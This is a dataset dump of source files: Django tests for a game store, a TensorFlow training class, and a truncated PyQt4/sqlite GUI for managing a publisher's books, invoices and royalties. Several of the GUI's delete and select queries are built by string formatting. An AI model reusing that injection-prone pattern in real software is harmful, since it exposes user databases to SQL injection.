title', developer=user).save()\n Game.create('another game', '', description='this game also has a title', developer=user).save()\n\n def testEmptyQuery(self):\n \"\"\"Tests if an empty query returns all games in the database.\n \"\"\"\n\n qset = Game.search(None)\n self.assertEquals(len(qset), len(Game.objects.all()))\n\n def testNameSearch(self):\n \"\"\"Tests if games are found by their names\"\"\"\n\n qset = Game.search('foo')\n self.assertEquals(len(qset), 4)\n qset = Game.search('bar')\n self.assertEquals(len(qset), 4)\n qset = Game.search('foo bar')\n self.assertEquals(len(qset), 2)\n qset = Game.search('foo baz')\n qset = Game.search('foo bar baz')\n self.assertEquals(len(qset), 1)\n qset = Game.search('baz bar foo')\n self.assertEquals(len(qset), 1)\n\n def testStringSearch(self):\n \"\"\"Tests if string searches work correctly.\n\n This verifies that a query like '\"foo bar\"' finds different results than\n 'foo bar'.\n \"\"\"\n\n qset = Game.search('\"foo bar\"')\n self.assertEquals(len(qset), 2)\n qset = Game.search('\"foo baz\"')\n self.assertEquals(len(qset), 1)\n qset = Game.search('\"foo bar\" baz')\n self.assertEquals(len(qset), 1)\n\n def testDescriptionSearch(self):\n \"\"\"Tests that games can be found by their description.\"\"\"\n\n qset = Game.search('some')\n self.assertEquals(len(qset), 2)\n qset = Game.search('title')\n self.assertEquals(len(qset), 2)\n qset = Game.search('game')\n self.assertEquals(len(qset), 4)\n\n def testPriority(self):\n \"\"\"Tests that the games in a search query are given in the correct order\n determined by their popularity.\n \"\"\"\n\n users = [get_user('{}'.format(x)) for x in range(3)]\n games = [\n Game.objects.get(title='game1'),\n Game.objects.get(title='game2'),\n Game.objects.get(title='title'),\n Game.objects.get(title='another game'),\n ]\n for i in range(3):\n buy_game_for_user(users[i], games[1])\n buy_game_for_user(users[i], games[2])\n buy_game_for_user(users[i], games[3])\n\n rate_game_for_user(users[0], games[2], 4)\n rate_game_for_user(users[0], games[3], 2)\n rate_game_for_user(users[1], games[3], 3)\n\n qset = Game.search('game')\n self.assertEquals(qset[0].pk, games[2].pk)\n self.assertEquals(qset[1].pk, games[3].pk)\n self.assertEquals(qset[2].pk, games[1].pk)\n self.assertEquals(qset[3].pk, games[0].pk)\n\nclass SearchViewTest(TestCase):\n \"\"\"Tests for the search view.\n\n Given that the searching functionality is implemented on the Game model, and\n tested by GameSearchTest, this class does not test the specific responses of the\n search function.\n \"\"\"\n\n def setUp(self):\n\n logger.debug('SearchViewTest.setUp')\n\n self.client = Client()\n user = get_user()\n\n for i in range(0, 30):\n Game.create('game title {0}'.format(i), '', developer=user).save()\n\n def testEmptyResult(self):\n \"\"\"Tests template rendering for an empty queryset.\"\"\"\n\n response = self.client.get(reverse('game:search'), {'q': 'foo'})\n self.assertEquals(response.status_code, 200)\n self.assertEquals(response.content.count(\n b'No games matched your search query!'\n ), 1)\n\n def testPaging(self):\n \"\"\"Tests the number of reponses shown on a given page.\"\"\"\n\n response = self.client.get(reverse('game:search'), {'q': 'game', 'p': '1'})\n self.assertEquals(response.status_code, 200)\n self.assertEquals(response.content.count(b'game title'), 20)\n\n response = self.client.get(reverse('game:search'), {'q': 'game', 'p': '2'})\n self.assertEquals(response.status_code, 200)\n self.assertEquals(response.content.count(b'game title'), 10)\n\n response = self.client.get(reverse('game:search'), {'q': 'game', 'p': '3'})\n self.assertEquals(response.status_code, 200)\n self.assertEquals(response.content.count(b'game title'), 0)\n\n def testFailResponses(self):\n \"\"\"Tests the fail conditions.\"\"\"\n\n response = self.client.get(reverse('game:search'), {'q': 'game', 'p': 0})\n self.assertEquals(response.status_code, 400)\n\nclass GameUploadTest(TestCase):\n \"\"\"Tests for the upload feature.\n \"\"\"\n\n def setUp(self):\n logger.debug('GameUploadTest.setUp')\n self.client = Client()\n\n group, created = Group.objects.get_or_create(name='Developer')\n user = User.objects.create()\n user.save()\n group.user_set.add(user)\n\n self.client.force_login(user)\n\n def testUpload(self):\n \"\"\"Test that uploading works.\n \"\"\"\n\n response = self.client.post(reverse('game:upload'), {\n 'title': 'somegame',\n 'url': 'http://google.com',\n 'price': '0.50',\n 'description': 'This here is a game',\n })\n\n qset = Game.objects.all().filter(title='somegame')\n game = qset[0]\n self.assertEquals(game.url, 'http://google.com')\n self.assertEquals(str(game.price), '0.5')\n self.assertEquals(game.description, 'This here is a game')\n self.assertEquals(response.status_code, 302)\n self.assertEquals(response['location'], reverse('game:detail', kwargs={'game': game.id}))\n\n def testValidation(self):\n \"\"\"This tests that the validation in the upload view works.\n\n Tests only the case that two games with the same title are uploaded.\n \"\"\"\n response = self.client.post(reverse('game:upload'), {\n 'title': 'somegame',\n 'url': 'http://google.com',\n 'price': '0.50',\n 'description': 'This here is a game',\n })\n\n response = self.client.post(reverse('game:upload'), {\n 'title': 'somegame',\n 'url': 'http://google.com',\n 'price': '0.50',\n 'description': 'This game has the same title as the last one',\n })\n\n self.assertEquals(response.status_code, 302)\n self.assertEquals(response['location'], reverse('game:upload'))\n\n response = self.client.get(response['location'])\n self.assertEquals(response.status_code, 200)\n self.assertTrue(b'Game with this Title already exists.' in response.content)\n\nclass GameRatingTest(TestCase):\n \"\"\"Tests the rating feature.\n \"\"\"\n\n def setUp(self):\n logger.debug('game.GameRatingTest.setUp')\n self.client = Client()\n\n for i in range(1, 5):\n user = User.objects.create()\n user.username = 'user' + str(i)\n user.save()\n\n for i in range(1, 3):\n Game.create(\n title='game' + str(i),\n url='http://google.com',\n developer=user\n ).save()\n\n def testResponses(self):\n \"\"\"Tests the failure responses, as well as that giving ratings works.\n \"\"\"\n user = User.objects.get(username='user2')\n self.client.force_login(user)\n buy_game_for_user(user, Game.objects.get(title='game2'))\n\n #test negative responses\n game = Game.objects.get(title='game1')\n response = self.client.post(reverse('game:rate', args=[game.pk]), {\n 'rating': 3\n }, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 403)\n response = self.client.post(reverse('game:rate', args=[10]), {\n 'rating': 3\n }, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 404)\n game = Game.objects.get(title='game2')\n response = self.client.post(reverse('game:rate', args=[game.pk]), {\n 'rating': 3\n })\n self.assertEqual(response.status_code, 400)\n response = self.client.post(reverse('game:rate', args=[game.pk]), {})\n self.assertEqual(response.status_code, 400)\n response = self.client.post(reverse('game:rate', args=[game.pk]), {\n 'rating': 'foobar'\n }, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 400)\n response = self.client.post(reverse('game:rate', args=[game.pk]), {\n 'rating': 7\n }, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 400)\n\n #test positive response\n response = self.client.post(reverse('game:rate', args=[game.pk]), {\n 'rating': 3\n }, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.content, b'3')\n game.refresh_from_db()\n self.assertEqual(game.ratings, 1)\n self.assertEqual(game.total_rating, 3)\n\n def testRatings(self):\n \"\"\"Tests that Game.get_rating_clean works.\n \"\"\"\n users = User.objects.all()\n game = Game.objects.get(title='game1')\n for user in users:\n buy_game_for_user(user, game)\n\n def setRatings(*args):\n for i in range(0, len(args)):\n self.client.force_login(users[i])\n self.client.post(reverse('game:rate', args=[game.pk]), {\n 'rating': args[i]\n }, HTTP_X_REQUESTED_WITH='XMLHttpRequest')\n\n setRatings(3)\n game.refresh_from_db()\n self.assertEqual(game.get_rating_cleaned(), 6)\n\n setRatings(3, 4)\n game.refresh_from_db()\n self.assertEqual(game.get_rating_cleaned(), 7)\n\n setRatings(3, 4, 4)\n game.refresh_from_db()\n self.assertEqual(game.get_rating_cleaned(), 7)\n\n setRatings(1, 1, 4, 4)\n game.refresh_from_db()\n self.assertEqual(game.get_rating_cleaned(), 5)\n\nclass StatisticsTest(TestCase):\n \"\"\"Tests the statistics methods of the Game model.\n \"\"\"\n \n def setUp(self):\n \n logger.debug('StatisticsTest.setUp')\n \n dev_group = Group.objects.get(name='Developer')\n ply_group = Group.objects.get(name='Player')\n \n developer = User.objects.create(username='dev')\n developer.save()\n dev_group.user_set.add(developer)\n \n users = []\n \n for i in range(5):\n user = User.objects.create(username='ply{}'.format(i))\n user.save()\n ply_group.user_set.add(user)\n users.append(user)\n \n games = []\n \n for i in range(3):\n game = Game.create(\n title='game{}'.format(i),\n url='http://foobar.fi',\n developer=developer,\n price=(i + 0.5)\n )\n game.save()\n games.append(game)\n \n for user in users[:3]:\n buy_game_for_user(user, games[0])\n buy_game_for_user(user, games[1])\n rate_game_for_user(user, games[0], 3)\n rate_game_for_user(user, games[1], 4)\n for user in users:\n buy_game_for_user(user, games[2])\n rate_game_for_user(user, games[2], 3)\n \n def testPopularity(self):\n \"\"\"Simple test for the popularity feature. This only ensures that games\n which should obviously have a higher popularity do, such as having better\n ratings or more buyers, all other things being equal.\n \"\"\"\n \n games = [Game.objects.get(title='game{}'.format(i)) for i in range(3)]\n self.assertTrue(games[0].popularity < games[1].popularity)\n self.assertTrue(games[0].popularity < games[2].popularity)\n \n def testRevenue(self):\n \"\"\"Tests the the revenue of games is stored correctly.\n \"\"\"\n \n games = [Game.objects.get(title='game{}'.format(i)) for i in range(3)]\n self.assertEquals(games[0].revenue, Decimal(1.5))\n self.assertEquals(games[1].revenue, Decimal(4.5))\n self.assertEquals(games[2].revenue, Decimal(12.5))\n","sub_path":"game/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":14193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"498354439","text":"import tensorflow as tf\nfrom lang_embedding.callbacks import KNN, Filler\nimport lang_embedding.models as models\nimport tensorflow_addons as tfa\n\nclass Model():\n def __init__(self, langs_num, feature_val_num, dropout, embedding_size):\n\n\n self.model = models.get_model_embedding(langs_num, feature_val_num, dropout, embedding_size)\n # self.model.load_weights('best.0.7443609022556391.h5')\n self.model.summary()\n optimizer = tf.optimizers.Adam()\n # 512\n self.model.compile(\n optimizer=optimizer,\n loss=tf.keras.losses.BinaryCrossentropy(),\n metrics=[tf.keras.metrics.BinaryAccuracy()]\n )\n\n def train(self, generator, epochs, steps_per_epoch, feature_maps, feature_maps_int):\n\n knn = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49,\\\n 50, 60, 70, 80, 90, 100, 110, 120, 130, 140, 150, 160, 170, 180, 190, 200, 250, 300, 350, 400, 450, 500]\n\n callbacks = [Filler(feature_maps, feature_maps_int), KNN(knn)]\n self.model.fit(generator, steps_per_epoch=steps_per_epoch, epochs=epochs, callbacks=callbacks)\n","sub_path":"scripts/lang_embedding/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1256,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"406165035","text":"from PyQt4.QtCore import *\r\nfrom PyQt4.QtGui import *\r\nimport sqlite3\r\nimport sys\r\nimport subprocess\r\n\r\nfrom MenuBar import *\r\nfrom initMainMenuButtons import *\r\nfrom AddEntryWindow import *\r\nfrom TableWidget import *\r\nfrom ConfirmationDialog import *\r\nfrom ViewWindow import *\r\nfrom AddItemWindow import *\r\nfrom ViewRoyaltiesAndInvoices import *\r\nfrom UpdateEntryWindow import *\r\nfrom CalendarWidget import *\r\nfrom Items import *\r\nfrom SearchDatabase import *\r\nfrom LoginDB import *\r\nfrom ChangePassword import *\r\nfrom UsernameOrPassword import *\r\nfrom ChangeUsername import *\r\nfrom SearchResults import *\r\n\r\nclass MainWindow(QMainWindow):\r\n \"\"\"main window\"\"\"\r\n\r\n def __init__(self, Username):\r\n super().__init__()\r\n self.Username = Username\r\n self.setWindowTitle(\"Main Menu\")\r\n self.setWindowIcon(QIcon(\"PPIcon.png\"))\r\n self.setFixedSize(735,400) \r\n self.MenuBar = dbMenuBar() \r\n self.setMenuBar(self.MenuBar)\r\n \r\n self.TableWidget = dbTableWidget()\r\n self.TableWidget.sql = \"select * from Customer\"\r\n self.TableWidget.initTable()\r\n self.MainMenuButtons = initMainMenuButtons()\r\n self.MainMenuButtons.vertical.addLayout(self.MainMenuButtons.horizontalTop)\r\n self.MainMenuButtons.vertical.addWidget(self.TableWidget)\r\n self.MainMenuButtons.vertical.addLayout(self.MainMenuButtons.horizontalBottom)\r\n self.CurrentTable = \"Customer\" \r\n self.MainMenuButtons.setLayout(self.MainMenuButtons.vertical)\r\n\r\n self.StackedLayout = QStackedLayout()\r\n \r\n self.centralWidget = QWidget()\r\n self.centralWidget.setLayout(self.StackedLayout)\r\n self.setCentralWidget(self.centralWidget)\r\n\r\n self.StackedLayout.addWidget(self.MainMenuButtons) \r\n \r\n self.ViewWindow = dbViewWindow() #instantiating view window\r\n self.ViewWindow.View()\r\n self.ViewWindow.vertical.addLayout(self.ViewWindow.horizontalTop)\r\n self.ViewWindow.table = dbTableWidget()\r\n self.ViewWindow.vertical.addWidget(self.ViewWindow.table)\r\n self.ViewWindow.vertical.addLayout(self.ViewWindow.horizontalBottom)\r\n self.ViewWindow.setLayout(self.ViewWindow.vertical)\r\n \r\n self.StackedLayout.addWidget(self.ViewWindow)\r\n \r\n self.SearchResults = initSearchResultsMenu()\r\n self.StackedLayout.addWidget(self.SearchResults)\r\n self.SearchTable = dbTableWidget()\r\n self.SearchResults.vertical.addWidget(self.SearchTable)\r\n\r\n #connections\r\n self.MainMenuButtons.btnAddEntry.clicked.connect(self.AddEntry) \r\n self.MainMenuButtons.btnRemoveEntry.clicked.connect(self.RemoveEntry)\r\n self.MainMenuButtons.btnView.clicked.connect(self.ViewCustomer)\r\n self.MainMenuButtons.btnUpdateEntry.clicked.connect(self.UpdateCustomerEntry)\r\n self.MainMenuButtons.btnQuickSearch.clicked.connect(self.QuickSearch)\r\n self.MainMenuButtons.btnSearchdb.clicked.connect(self.Search)\r\n self.MainMenuButtons.btnLogOut.clicked.connect(self.LogOut)\r\n self.MainMenuButtons.btnChangePassword.clicked.connect(self.ChangeUsernameOrPassword)\r\n self.MenuBar.search_database.triggered.connect(self.Search)\r\n self.MenuBar.add_entry.triggered.connect(self.AddEntry)\r\n self.MenuBar.remove_entry.triggered.connect(self.RemoveEntry)\r\n self.MenuBar.update_entry.triggered.connect(self.UpdateCustomerEntry)\r\n self.MenuBar.log_out.triggered.connect(self.LogOut)\r\n self.MenuBar.change_password.triggered.connect(self.ChangeUsernameOrPassword)\r\n self.ViewWindow.btnBack.clicked.connect(self.Back)\r\n self.ViewWindow.btnAddBook.clicked.connect(self.AddItem)\r\n self.ViewWindow.btnUpdateBook.clicked.connect(self.UpdateEntry)\r\n self.ViewWindow.btnDeleteBook.clicked.connect(self.RemoveFromDB)\r\n self.ViewWindow.btnViewPubInvoice.clicked.connect(self.ViewPubInvoice)\r\n self.ViewWindow.btnViewBookInvoices.clicked.connect(self.ViewBookInvoice)\r\n self.ViewWindow.btnViewRoyalties.clicked.connect(self.ViewRoyalties)\r\n self.SearchResults.btnBack.clicked.connect(self.Back)\r\n\r\n\r\n def AddEntry(self): #adding customer entry \r\n self.AddEntryWindow = dbAddEntryWindow()\r\n self.AddEntryWindow.Added = False\r\n self.AddEntryWindow.initAddEntryWindow()\r\n self.RefreshTables()\r\n\r\n\r\n\r\n def AddItem(self): #initialising an add window for getting inputs for other entries\r\n self.AddWindow = dbAddItemWindow()\r\n self.AddWindow.setFixedSize(360,200)\r\n self.AddWindow.AddType = self.CurrentTable\r\n self.AddWindow.AnswerButtons()\r\n self.AddWindow.Editing = False\r\n\r\n if self.CurrentTable == \"Book\":\r\n self.AddWindow.sql = \"select * from Book\"\r\n \r\n elif self.CurrentTable == \"PubInvoice\":\r\n self.AddWindow.setFixedSize(400,150)\r\n self.AddWindow.sql = \"select ISBN, AuthorID, PubInvoiceDate, PubInvoiceService, PubInvoicePayment from PubInvoice\"\r\n self.AddWindow.selectedISBN = self.SelectedISBN\r\n\r\n elif self.CurrentTable == \"BookInvoice\":\r\n self.AddWindow.sql = \"select AuthorID, BookInvoiceDate from BookInvoice\"\r\n self.AddWindow.setFixedSize(350,100)\r\n\r\n elif self.CurrentTable == \"Royalties\":\r\n self.AddWindow.sql = \"select AuthorID, RoyaltiesDate from Royalties\"\r\n self.AddWindow.setFixedSize(350,100)\r\n \r\n elif self.CurrentTable == \"BookInvoiceItems\":\r\n self.AddWindow.sql = \"select BookInvoiceID, ISBN, BookInvoiceQuantity, BookInvoiceDiscount, ShippingType, ShippingPrice from BookInvoiceItems\"\r\n self.AddWindow.setFixedSize(450, 150)\r\n self.AddWindow.selectedISBN = self.SelectedISBN\r\n self.Editing = False\r\n self.AddWindow.btnCalculate.clicked.connect(self.BookInvoiceItemCalculation)\r\n \r\n elif self.CurrentTable == \"RoyaltyItems\":\r\n self.AddWindow.sql = \"select RoyaltiesID, ISBN, Currency, RoyaltyDiscount, WholesalePrice, RoyaltyQuantity, PrintCost, ExcRateFromGBP from RoyaltyItems\"\r\n self.AddWindow.setFixedSize(450, 250)\r\n self.AddWindow.selectedISBN = self.SelectedISBN\r\n self.Editing = False\r\n self.AddWindow.btnCalculate.clicked.connect(self.RoyaltyItemCalculation)\r\n \r\n self.AddWindow.selectedID = self.SelectedID\r\n self.AddWindow.CalendarWidget = dbCalendarWidget()\r\n self.AddWindow.CalendarWidget.Calendar()\r\n \r\n self.AddWindow.initAddItemWindow()\r\n try:\r\n if self.AddWindow.Valid == True: #inputs must pass validation before being added\r\n self.AddToDB()\r\n except AttributeError:\r\n pass #exception of window being closed\r\n self.RefreshTables()\r\n\r\n def RecalculateItems(self): #recalculates after changes\r\n if self.CurrentTable == \"BookInvoiceItems\": \r\n self.BookInvoiceItemsWindow.CalculateBookInvoiceItems()\r\n self.CurrentTable = \"BookInvoice\"\r\n self.RefreshTables()\r\n self.CurrentTable = \"BookInvoiceItems\"\r\n self.RefreshTables()\r\n elif self.CurrentTable == \"RoyaltyItems\" or self.BookEdited == True:\r\n self.RoyaltyItemsWindow.CalculateRoyaltyItems()\r\n self.CurrentTable = \"Royalties\"\r\n self.RefreshTables()\r\n self.CurrentTable = \"RoyaltyItems\"\r\n self.RefreshTables()\r\n\r\n \r\n def AddToDB(self): #Adding Entries to database\r\n self.input_data = []\r\n if self.CurrentTable == \"Book\":\r\n self.TableValues = \"Book (ISBN, AuthorID, BookTitle, NoOfPages, Size, Back, Cover, Paper, Font, FontSize, DatePublished, Price)\"\r\n self.Placeholders = \"(?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\"\r\n self.NoOfEntries = 12\r\n\r\n elif self.CurrentTable == \"PubInvoice\":\r\n self.TableValues = \"PubInvoice (ISBN, AuthorID, PubInvoiceDate, PubInvoiceService, PubInvoicePayment)\"\r\n self.Placeholders = \"(?, ?, ?, ?, ?)\"\r\n self.NoOfEntries = 5\r\n\r\n elif self.CurrentTable == \"BookInvoice\":\r\n self.TableValues = \"BookInvoice (AuthorID, BookInvoiceDate)\"\r\n self.Placeholders = \"(?, ?)\"\r\n self.NoOfEntries = 2\r\n\r\n elif self.CurrentTable == \"Royalties\":\r\n self.TableValues = \"Royalties (AuthorID, RoyaltiesDate)\"\r\n self.Placeholders = \"(?, ?)\"\r\n self.NoOfEntries = 2\r\n \r\n elif self.CurrentTable == \"BookInvoiceItems\":\r\n self.TableValues = \"BookInvoiceItems (BookInvoiceID, ISBN, BookInvoiceQuantity, BookInvoiceDiscount, ShippingType, ShippingPrice)\"\r\n self.Placeholders = \"(?, ?, ?, ?, ?, ?)\"\r\n self.NoOfEntries = 6\r\n\r\n elif self.CurrentTable == \"RoyaltyItems\":\r\n self.TableValues = \"RoyaltyItems (RoyaltiesID, ISBN, Currency, RoyaltyDiscount, WholesalePrice, RoyaltyQuantity, PrintCost, ExcRateFromGBP, NetSales)\"\r\n self.Placeholders = \"(?, ?, ?, ?, ?, ?, ?, ?, ?)\"\r\n self.NoOfEntries = 9\r\n \r\n for count in range(0, self.NoOfEntries):\r\n try: #putting the input data in a list\r\n self.input_data.append(str(self.AddWindow.inputList[count].currentText()))\r\n except:\r\n if count == 8 and self.CurrentTable == \"RoyaltyItems\":\r\n self.input_data.append(self.NetSales) #Net sales are calculated, as opposed to being entered\r\n else:\r\n self.input_data.append(self.AddWindow.inputList[count].text())\r\n\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor()\r\n cursor.execute(\"PRAGMA foreign_keys = ON\")\r\n self.sql = \"insert into {} values {}\".format(self.TableValues, self.Placeholders)\r\n cursor.execute(self.sql, self.input_data)\r\n db.commit()\r\n \r\n self.RefreshTables()\r\n \r\n try:\r\n self.RecalculateItems()\r\n except:\r\n pass\r\n \r\n def RemoveEntry(self): #removing a customer\r\n self.SelectedRow = self.TableWidget.currentRow()\r\n self.ConfirmDialog = dbConfirmationDialog()\r\n self.ConfirmDialog.Username = self.Username\r\n self.ConfirmDialog.SelectedAuthorID = QTableWidgetItem(self.TableWidget.item(self.SelectedRow, 0)).text() #getting AuthorID of a row\r\n if self.ConfirmDialog.SelectedAuthorID != \"\":\r\n self.Firstname = QTableWidgetItem(self.TableWidget.item(self.SelectedRow, 1)).text()\r\n self.Lastname = QTableWidgetItem(self.TableWidget.item(self.SelectedRow, 2)).text()\r\n self.ConfirmDialog.Name = \"{} {}\".format(self.Firstname, self.Lastname)\r\n self.ConfirmDialog.Msg = \"Are you sure you want to delete {} and all records about them?\".format(self.ConfirmDialog.Name)\r\n self.ConfirmDialog.ConfirmedMsg = \"{}'s records have been successfully erased.\".format(self.ConfirmDialog.Name)\r\n self.ConfirmDialog.VerifyDlg()\r\n \r\n if self.ConfirmDialog.ConfirmedDialog.Accepted == True:\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor()\r\n cursor.execute(\"PRAGMA foreign_keys = ON\")\r\n sql = \"select ISBN from Book where AuthorID = {}\".format(self.ConfirmDialog.SelectedAuthorID)\r\n cursor.execute(sql)\r\n self.ISBNDeletion = list(cursor.fetchall())\r\n for count in range(0, len(self.ISBNDeletion)): #removes all customer details, starting with foreign keys for referential integrity\r\n sql = \"delete from BookInvoiceItems where ISBN = {}\".format(list(list(self.ISBNDeletion)[count])[0])\r\n cursor.execute(sql)\r\n sql = \"delete from RoyaltyItems where ISBN = {}\".format(list(list(self.ISBNDeletion)[count])[0])\r\n cursor.execute(sql)\r\n sql = \"delete from PubInvoice where AuthorID = {}\".format(self.ConfirmDialog.SelectedAuthorID)\r\n cursor.execute(sql)\r\n sql = \"delete from BookInvoice where AuthorID = {}\".format(self.ConfirmDialog.SelectedAuthorID)\r\n cursor.execute(sql)\r\n sql = \"delete from Royalties where AuthorID = {}\".format(self.ConfirmDialog.SelectedAuthorID)\r\n cursor.execute(sql)\r\n sql = \"delete from Book where AuthorID = {}\".format(self.ConfirmDialog.SelectedAuthorID)\r\n cursor.execute(sql)\r\n sql = \"delete from Customer where AuthorID = {}\".format(self.ConfirmDialog.SelectedAuthorID)\r\n cursor.execute(sql)\r\n db.commit()\r\n self.RefreshTables()\r\n\r\n\r\n\r\n def RemoveFromDB(self): #removing other entries\r\n #getting primary key of the row\r\n self.ConfirmDialog = dbConfirmationDialog()\r\n self.ConfirmDialog.Username = self.Username\r\n self.ConfirmDialog.DeleteMsg = self.CurrentTable\r\n self.SelectedAuthorID = self.SelectedID\r\n \r\n if self.CurrentTable == \"Book\":\r\n self.ForeignKeyMsg = \"Royalties and Invoices\"\r\n self.SelectedRow = self.ViewWindow.table.currentRow()\r\n self.SelectedID = QTableWidgetItem(self.ViewWindow.table.item(self.SelectedRow, 0)).text()\r\n self.SelectedIDName = \"ISBN\"\r\n self.ConfirmDialog.Msg = \"Are you sure you want to delete this book?\"\r\n self.ConfirmDialog.ConfirmedMsg = \"Book was successfully deleted\"\r\n \r\n elif self.CurrentTable == \"PubInvoice\":\r\n self.SelectedRow = self.PubInvoiceWindow.table.currentRow()\r\n self.OldID = self.SelectedID\r\n self.SelectedID = QTableWidgetItem(self.PubInvoiceWindow.table.item(self.SelectedRow, 0)).text()\r\n self.SelectedIDName = \"PubInvoiceID\"\r\n self.ConfirmDialog.Msg = \"Are you sure you want to delete this Invoice?\"\r\n self.ConfirmDialog.ConfirmedMsg = \"Invoice was successfully deleted\"\r\n\r\n elif self.CurrentTable == \"BookInvoice\":\r\n self.ForeignKeyMsg = \"Book Invoice Items\"\r\n self.SelectedRow = self.BookInvoiceWindow.table.currentRow()\r\n self.OldID = self.SelectedID\r\n self.SelectedID = QTableWidgetItem(self.BookInvoiceWindow.table.item(self.SelectedRow, 0)).text()\r\n self.SelectedIDName = \"BookInvoiceID\"\r\n self.ConfirmDialog.Msg = \"Are you sure you want to delete this Invoice?\"\r\n self.ConfirmDialog.ConfirmedMsg = \"Invoice was successfully deleted\"\r\n\r\n elif self.CurrentTable == \"Royalties\":\r\n self.ForeignKeyMsg = \"Royalty Items\"\r\n self.SelectedRow = self.RoyaltiesWindow.table.currentRow()\r\n self.OldID = self.SelectedID\r\n self.SelectedID = QTableWidgetItem(self.RoyaltiesWindow.table.item(self.SelectedRow, 0)).text()\r\n self.SelectedIDName = \"RoyaltiesID\"\r\n self.ConfirmDialog.Msg = \"Are you sure you want to delete this Entry?\"\r\n self.ConfirmDialog.ConfirmedMsg = \"Entry was successfully deleted\"\r\n\r\n elif self.CurrentTable == \"BookInvoiceItems\":\r\n self.SelectedRow = self.BookInvoiceItemsWindow.table.currentRow()\r\n self.OldID = self.SelectedID\r\n self.SelectedID = QTableWidgetItem(self.BookInvoiceItemsWindow.table.item(self.SelectedRow, 0)).text()\r\n self.SelectedIDName = \"BookInvoiceItemsID\"\r\n self.ConfirmDialog.Msg = \"Are you sure you want to delete this Item?\"\r\n self.ConfirmDialog.ConfirmedMsg = \"Item was successfully deleted\"\r\n\r\n elif self.CurrentTable == \"RoyaltyItems\":\r\n self.SelectedRow = self.RoyaltyItemsWindow.table.currentRow()\r\n self.OldID = self.SelectedID\r\n self.SelectedID = QTableWidgetItem(self.RoyaltyItemsWindow.table.item(self.SelectedRow, 0)).text()\r\n self.SelectedIDName = \"RoyaltyItemsID\"\r\n self.ConfirmDialog.Msg = \"Are you sure you want to delete this Item?\"\r\n self.ConfirmDialog.ConfirmedMsg = \"Item was successfully deleted\"\r\n self.ConfirmDialog.Prevention = True #deletion may be prevented if integrity error occurs\r\n if self.SelectedRow != -1:\r\n self.ConfirmDialog.VerifyDlg() #verification\r\n try:\r\n if self.ConfirmDialog.ConfirmedDialog.Accepted == True:\r\n with sqlite3.connect(\"PP.db\") as db:\r\n cursor = db.cursor()\r\n cursor.execute(\"PRAGMA foreign_keys = ON\")\r\n sql = \"delete from {} where {} = '{}'\".format(self.CurrentTable, self.SelectedIDName, self.SelectedID)\r\n cursor.execute(sql)\r\n db.commit()\r\n self.ConfirmDialog.ConfirmedDialog.Confirmed()\r\n self.SelectedID = self.SelectedAuthorID\r\n self.RefreshTables()\r\n except sqlite3.IntegrityError:\r\n self.Msg = QMessageBox()\r\n self.Msg.setWindowTitle(\"Error\")\r\n self.Msg.setText(\"You must delete all the {} first.\".format(self.ForeignKeyMsg))\r\n self.Msg.exec_() #informs user that selected entry cannot be deleted and what must be done for it to be deleted\r\n\r\n if self.CurrentTable in [\"Royalties\", \"BookInvoice\", \"PubInvoice\", \"BookInvoiceItems\", \"RoyaltyItems\"]:\r\n self.SelectedID = self.OldID\r\n \r\n try:\r\n self.RecalculateItems()\r\n except:\r\n pass\r\n\r\n\r\n \r\n def ViewCustomer(self): #displaying customer data\r\n self.SelectedRow = self.TableWidget.currentRow()\r\n self.SelectedID = QTableWidgetItem(self.TableWidget.item(self.SelectedRow, 0)).text()\r\n self.Firstname = QTableWidgetItem(self.TableWidget.item(self.SelectedRow, 1)).text()\r\n self.Lastname = QTableWidgetItem(self.TableWidget.item(self.SelectedRow, 2)).text()\r\n \r\n if self.SelectedID != \"\":\r\n self.SelectedAuthorID = self.SelectedID\r\n self.CurrentTable = \"Book\"\r\n self.RefreshTables()\r\n self.StackedLayout.setCurrentIndex(1)\r\n self.MenuBar.setVisible(False)\r\n\r\n\r\n \r\n def ViewPubInvoice(self): #initialising the view publishing invoice window\r\n self.CurrentTable = \"PubInvoice\"\r\n self.ViewWindow.SelectedRow = self.ViewWindow.table.currentRow()\r\n self.SelectedISBN = QTableWidgetItem(self.ViewWindow.table.item(self.ViewWindow.SelectedRow, 0)).text()\r\n self.SelectedID = QTableWidgetItem(self.TableWidget.item(self.TableWidget.currentRow(), 0)).text()\r\n self.SelectedAuthorID = self.SelectedID\r\n if self.SelectedISBN != \"\":\r\n self.PubInvoiceWindow = dbRoyaltiesAndInvoices()\r\n self.PubInvoiceWindow.PubInvoiceButtons()\r\n self.PubInvoiceWindow.btnAddPubInvoice.clicked.connect(self.AddItem)\r\n self.PubInvoiceWindow.btnUpdatePubInvoice.clicked.connect(self.UpdateEntry)\r\n self.PubInvoiceWindow.btnDeleteEntry.clicked.connect(self.RemoveFromDB)\r\n self.PubInvoiceWindow.table = dbTableWidget()\r\n self.RefreshTables()\r\n self.PubInvoiceWindow.table.setFixedSize(620, 150)\r\n self.PubInvoiceWindow.PubInvoice()\r\n self.CurrentTable = \"Book\"\r\n\r\n\r\n\r\n def ViewBookInvoice(self): #initialising the view book invoice window\r\n self.CurrentTable = \"BookInvoice\"\r\n self.ViewWindow.SelectedRow = self.ViewWindow.table.currentRow()\r\n self.SelectedISBN = QTableWidgetItem(self.ViewWindow.table.item(self.ViewWindow.SelectedRow, 0)).text()\r\n self.SelectedAuthorID = 